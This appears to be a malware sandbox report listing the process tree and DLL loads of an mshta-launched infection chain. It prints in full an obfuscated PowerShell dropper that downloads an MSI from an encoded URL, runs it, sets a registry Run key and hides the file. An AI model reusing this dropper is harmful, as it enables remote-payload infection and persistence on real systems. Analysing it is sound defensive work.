'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG;	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Process created: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: datastate.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Section loaded: mpr.dll	Jump to behavior
